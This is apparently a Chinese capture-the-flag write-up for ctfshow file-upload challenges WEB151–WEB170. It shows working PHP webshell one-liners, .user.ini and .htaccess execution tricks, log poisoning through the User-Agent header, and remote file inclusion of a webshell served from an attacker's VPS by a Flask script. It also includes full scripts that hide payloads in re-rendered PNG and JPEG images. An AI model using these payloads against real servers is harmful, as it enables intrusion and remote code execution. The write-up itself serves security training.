- WEB151(后端无验证)
- WEB152(后端文件类型验证)
- WEB153(★.user.ini绕过/配置文件可控)
- WEB154(文件魔术字节欺骗)
- WEB155(配置文件可控)
- WEB156(文件内容检测[]可以用{}绕过)
- WEB157(PHP脚本最后一个分号可以省略)
- WEB158(日志包含)
- WEB159(突破日志包含检测)
- WEB160(日志文件包含突破空格检测)
- WEB161(GIF89A绕过getimagesize判断)
- WEN162(includeURL文件包含+flask)
- WEB163(ini配置文件远程文件包含)
- WEB164(PNG二次渲染绕过)
- WEB165(jpg二次渲染)
- WEB166(zip里面直接加一句话上传)
- WEB167(.htaccess)
- WEB168(基础免杀)
- WEB169(高级免杀)
- WEB170(终极免杀)
WEB151(后端无验证)
前台校验不可靠?我们试着上传一张jpg图片:
还不能上传
试着上传png图片:
F12查看网页源代码:
将png改为jpg,发现文件上传成功!这样我们就可以上传一句话木马(改成php)
访问路径,用蚁剑连接:
Hint:
前端验证,抓包修改数据OK
绕过前端验证
方法1:直接关闭浏览器的js
方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀,内容为一句话
WEB152(后端文件类型验证)
后端检测肯定就是1、文件后缀 2、文件类型 3、文件内容,先从文件名开始
按WEB151的方法直接F12修改上传文件类型行不通
我们上传一个yjh.php抓包,发现前端验证都没有通过,抓不到包
我们先将yjh.php改成yjh.png,上传抓包,再浏览器抓包改回php,即上传成功!(或者我们直接修改MIME类型)
利用bp抓包改包的原理就是:我们先把yjh.php这个文件的后缀名改成png的形式,让他先通过前端检测,由于它检测在前端,我们进行抓包拦截的时候,说明这个包已经离开了前端,离开了浏览器,然后我们改包之后直接提交到服务器。
蚁剑连接得到flag!
WEB153(★.user.ini绕过/配置文件可控)
后端不能单一校验
如果不喜欢抓包该的话,也可以:
好像在repeater试验的都是对网站的真实访问
我们按照web154的方法试一下,\u6587这种写法中,\u表示为unicode编码,后续四位数组为16进制的码值
文件上传失败,失败原因:文件类型不合规 (我们F12检测,发现只能png)
这个方法不打CTF我都不知道:
这道题要上传user.ini进行文件上传绕过(当前目录下有PHP文件才可以,此目录有个index.php)
上传.user.ini配置文件 原理:
https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/(.htaccess 和.user.ini 配置文件妙用 )
.user.ini
php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门。 发现很容易上传如php5,phtml等类型文件,但是不解析.通过插件识别为nginx服务器,尝试上传.user.ini,发现上传成功
简单理解就是.user.ini文件中有一个auto_prepend_file = <filename> //包含在文件头配置项,它的作用的是在同目录.php文件中包含<filename>的内容,既然这样如果<filename>文件中包含恶意命令,那么就会造成命令执行
现在回到这个题。为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
①首先上传yjh.png
②上传.user.ini
auto_append_file="yjh.png" //它的作用的是在同目录.php文件中包含<yjh.png>的内容,既然这样如果<yjh.png>文件中包含恶意命令,那么就会造成命令执行
想在页面上传抓包竟然失败了,只能先上传png图片然后改内容了 (或者将.user.ini先改成xxx.png,抓包后再改回去)
或者也可以直接上传user.ini,只需要:(images改成file,后面的删掉)就可以成功抓包
木马上传成功
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。
访问?hacker=phpinfo();成功!
xxxx/upload/?hacker=system(‘cat /var/www/flag.php’);
蚁剑连接得到flag;
群主大菜鸡思路:
首先检查元素,间image改为file(前端验证删除)
再上传user.ini抓包,发送到repeater(改MIME)
然后再写一个包含点:
然后我们直接访问/upload:(我们在repeater做的操作,就是我们对真实网站做的操作,不是试验)
WEB154(文件魔术字节欺骗)
后端不能单二校验
尝试上一题的方法,先上传一张图片马(yjh.png 里面写了一句话,其实就是yjh.php改后缀名为.PNG),再上传.user.ini里面内容为“auto_append_file=”yjh.png” ”
上传yjh.png都没有上传上去:
短标签绕过, 关于短标签内容参考https://www.cnblogs.com/dongguol/p/5910617.html
短标签:
<? echo '123';?> //short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_version < 7
我们怀疑是对yjh.png里面的内容进行了限制,尝试:
<?=@eval($_REQUEST['hacker']);?> (试过,发现可以解析)
<? @eval($_REQUEST['hacker']);?>
<% @eval($_REQUEST['hacker']);%> (试过了,上传上去不会解析)
测试:
发现竟然上传成功了,果然是对PHP关键字进行了过滤
下面就跟上面web153做法一样,上传user.png再抓包改为.user.ini,上传成功
此时,.user.ini文件上传后的位置里的所有PHP文件里面都会包含yjh.png里面的内容:
现在尝试执行命令:/upload/?hacker=system(‘pwd’);
群主大菜鸡思路:
如果不想抓包可以直接在上一题基础上改:
我们先上传.user.ini:
上传1.txt,发现文件内容不合规,就是对文件内容进行检测(上面那个编码在console台就可以解出来了)
我们直接修改文件内容:
经过测试,是不能有PHP关键词的,我们就使用短标签:
然后直接访问1.txt
WEB155(配置文件可控)
后端不能单三校验
解题方法同web154
我们还可以看它过滤了什么:连接蚁剑查看upload.php文件:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
WEB156(文件内容检测[]可以用{}绕过)
后端不能单四校验
尝试了上面的三种短标签写的PHP一句话,文件都上传失败!
[FUZZ]文件上传fuzz字典生成脚本—使用方法
问了一下zeroc是否怎么快速判断一句话木马当中哪些字符被过滤:就一个一个测试就好,总共也没几个字符!好吧,听师傅的话一个一个测试:
然后再根据上面的方法上传.user.ini
群主大菜鸡思路
同样是到达传yjh.png这一步,使用短标签我们只能查看到底是yjh.png里面那句话触犯了,我们只能二分法排除:
从$以后看一下:$及其以后删除是可以上传的,说明不影响
从POST以后删除:也是可以上传成功
那肯定是[1]);?>之间出问题了
慢慢试,会试到对方括号过滤了,我们用花括号替换,这是一种不规范的写法,为了可能会取消,目前还是可以用的,在php8以上可能随时这种写法就用不了了
WEB157(PHP脚本最后一个分号可以省略)
后端不能单五校验
经过测试,过滤了分号和花括号 ,那么这里其实就是把文件上传变成了任意代码执行
使用<?=(system(‘nl ../.ph‘))?>
<?=system(‘nl ../.ph‘)?>也行
再上传.user.ini后再/upload,直接查看页面源代码就可以看到flag
群主大菜鸡思路:
<?=eval($_POST[1]);?>,这种写法不行,我们可以用其他写法来对这个数组进行操作
毕竟PHP里面数组操作很多,虽然不用中括号或者大括号,那么我可以用很多函数:
我们可以使用array_pop,本地测试:
<?php var_dump(array_pop($_POST)); ?>
注意本题还对分号进行了限制
所以:
在PHP中,最后一条语句不需要分号
然后我们再访问/upload,post传参,发现flag
WEB158(日志包含)
后端不能单六校验
过滤了分号,PHP关键字
这样就可以在yjh.png写:<? system(‘nl ../.ph‘)?>
上传.user.ini后再/upload,直接查看页面源代码就可以看到flag
用上一题的payload是可以打通的
查看upload.php,因为是644权限,我们可以cp到2.txt
log封掉了日志包含,但是我们也是有办法的
WEB159(突破日志包含检测)
经测试后发现system等命令执行函数被过滤,但是反引号没有,经过测试发现括号不让用
使用:<?=tac ../f*
?>,方法同上
括号不让用:
不让用括号就是要用到那五个语言结构了
include
<?=include ‘/var/l’.’og/nginx/access.lo’.’g’?>
访问/upload,可以看到已经成功包含:
WEB160(日志文件包含突破空格检测)
经过测试,除了<>,=,?好多符号都被过滤了,有空格上传也会报错(我们把空格换成换行即可)
我们尝试使用文件包含:
<?=include”/var/lo”.”g/nginx/access.lo”.”g”?>
①上传.user.ini,里面内容为 auto_append_file=”yjh.png”
②再上传yjh.png,里面内容为<?=include”/var/lo”.”g/nginx/access.lo”.”g”?>
③访问网站,抓包,修改user-agent :<?php system(‘tac ../f*’);?>
然后直接访问/upload就可以看到flag
WEB161(GIF89A绕过getimagesize判断)
尝试跟web160一样的方法
上传yjh.png发现不能上传
对文件头做了检测 用getimagesize()
可参考 : https://blog.csdn.net/weixin_43915842/article/details/90183305
猜测是对图片里面的内容进行了过滤,尝试在加入图片头,即 GIF89A
访问/upload发现可以成功包含
再UA写一句话:
或者
查看upload.php我们发现多了getimagesize,GIF89A可以绕过这个判断,这个是图像尺寸,可以本地测试
查看一下upload.php:
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);
WEN162(includeURL文件包含+flask)
F12修改前端JS之后上传.user.ini
预期解是SESSION包含,由于并发限制,竞争不出来,所以我们用远程文件包含
我们先上传一个配置文件:
包含一个远程的url(要求不能有点),可以用vps的长地址,IP地址是可以转化为长地址的,长地址是不包含点的,也没有后缀,直接访问这个地址是可以返回一个一句话木马。(IP地址转换为长型整数:https://www.dnsqueries.com/zh/ip_v4_converter.php)
在vps的/var/www/html的index.html下写下一句话木马,我们只要包含这个里面的内容就可以包含一句话了
①上传配置文件.user.ini
②在vps的/var/www/html的index.html下写下一句话木马
③包含一句话(包含一个远程URL)
④访问upload目录:
但是我出现了这样的warning:
出现这个问题是因为要用flask写一句话木马!
群主视频没有出现,我也不知道咋回事,按道理应该是这样的:
这样就可以命令执行得到flag
这种方法就比较简单,也不需要进行竞争
正确解法:
这道题本来是要用session文件包含再 条件竞争 的,经过spaceman师傅和群主的指导,知道要使用flask,具体为什么还是不知道:
具体是这样操作的:
①在自己的VPS上创建index.py文件
# coding=utf-8
from flask import *
app = Flask(__name__)
# 对用户进行加密
app.secret_key = '*************************'
# 首页路由
@app.route('/',methods=['GET', 'POST'])
def index():
return "<?php eval($_POST[1]);?>"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=True) #端口号避免冲突,如果冲突的把apache关掉
②在vps上运行这个py文件,再访问xxx.xxx.xxx.xxx:60060查看源码就可以看到我们写的一句话木马
③将VPS:6060转化为长整形
④上传配置文件.user.ini
⑤上传2文件 (<?=include’http:// 2014**29/‘?>)
⑥直接访问upload目录
post传参,因为我们在vps上写的一句话木马是<?php eval($_POST[1]);?>
可以RCE了!!!
WEB163(ini配置文件远程文件包含)
我们访问/upload:
发现:
没有22?是不是删除了?发现我们上传完马上就没了,我们在上传的一瞬间,还没删的过程中就要访问这个地址来进行执行,这是一种方法,还有一种方法就是:content-type下面包含不了,我们就试着在配置文件里面包含:
还是这样:
是不是不能覆盖的原因?我们重开一个题目:
直接在配置文件里面包含远程文件
auto_append_file=”http://2014899829“
现在访问它的upload目录就可以成功包含,这种就不需要包含多次,只需要包含一次
这时候再进行命令执行
这个有个条件,必须服务器开启了远程文件包含选项才能使用
WEB164(PNG二次渲染绕过)
甚至加了png头也是不可用上传的。
但是我们可以上传一个正常的图片试一下:
有疑似的图片包含点的话,我们可以使用图片的二次渲染,只要它在包含里面有我们的PHP代码就可以执行成功。这时候我们要想办法再图片里面既能不影响图片的大小,也不影响渲染,而且要包含我们的PHP代码在里面
这时候我们就需要通过一个脚本来生成:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改图片的路径
/*
木马内容
<?$_GET[0]($_POST[1]);?>
*/
我们执行脚本后他会生成一个2.png:(要借助PHP的GD库)
我们用notepad++打开2.png
只要包含这个图片就会执行里面的PHP代码,这就是他的原理
下面我们直接上传2.png,然后给图片包含点加参数看能不能正常执行
WEB165(jpg二次渲染)
上传一个png图片,:
是不是图片太大了,我们保存一个小的1.png,还是不行
F12查看,发现要上传jpg格式图片:
我们上传一个1.jpg,上传成功,我们抓个包什么叫二次渲染呢?
就是和前面png差不多,就是数据拿出来,我在服务器端重新组装一次,放置里面那些非图片的无关字符
jpeg的二次渲染,网上也有公开脚本:
<?php
$miniPayload = "<?php system('tac f*');?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
echo "error";
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法 php exp.php a.png
jpg二次渲染专用图片:我们把上面这张图片2.jpg上传上去,然后右键另存为3.jpg:
为什么要从3.jpg的基础上做图片马呢?因为3.jpg是服务端已经渲染过的,改动最小,因为它已经通过GD库进行渲染过的,在它的基础上面改,经过GD库再次渲染,它保留的可能性就高一点
上传payload_3.jpg,上传完后,再抓包
1=system(cat flag.php);发现是可以读到flag,但是我不行,改天再试试。。。
WEB166(zip里面直接加一句话上传)
发现这次只能上传zip格式, 所以我们该个后缀名应该就可以了!并且过滤了php,带着php发送过去没有回显
或者直接用notepad++打开zip,在尾部添加一句话木马在上传,点击下载文件的过程中抓包:
WEB167(.htaccess)
只能上传jpg,而且这道题有个提示“httpd”,知道httpd的话就可以上传.htaccess文件了
AddType application/x-httpd-php .jpg //这样就会将jpg文件当中PHP文件进行解析
上传.user.ini,审查元素把image改为file抓包
再上传一个图片马,刚好可以上传我们上次的payload_3.jpg,因为它里面已经有一句话了
打开是乱码,我们看能不能解析成功
为什么这里面看不到PHP我们写的一句话木马呢?能看到就说明失败了,看不到才是正常的
(要保证图片马是对的,不对的话重新生成)这时候就可以命令执行拿到flag
WEB168(基础免杀)
我们上传一个png,抓包再改为php
上传成功:
访问/upload/0.php
现在我们要在这里面做免杀就行了,所谓的免杀就是加一些正常的特征,最简单的是后面加PHP代码
发现phpinfo回显成功
我们再命令执行<?=tac ../flagaa.php
?> //flagaa.php是试出来的
WEB169(高级免杀)
只允许上传zip
尝试日志包含,我们先写一个index.php
现在目录下有PHP文件了,我们可以尝试上传配置文件
然后我们再访问
那么大概率就可以日志包含,这时候写UA就行然后我们在/upload下getshell(要用bp,好像用浏览器自带的出不来)
发现使用1=system(‘tac ../flagaa.php’);phpinfo();可以拿到flag值(这里用phpinfo描点,flag好找一些)
WEB170(终极免杀)
我们用上一题的方法试一下
然后我们需要一个PHP文件再发个UA
我们再执行一句话: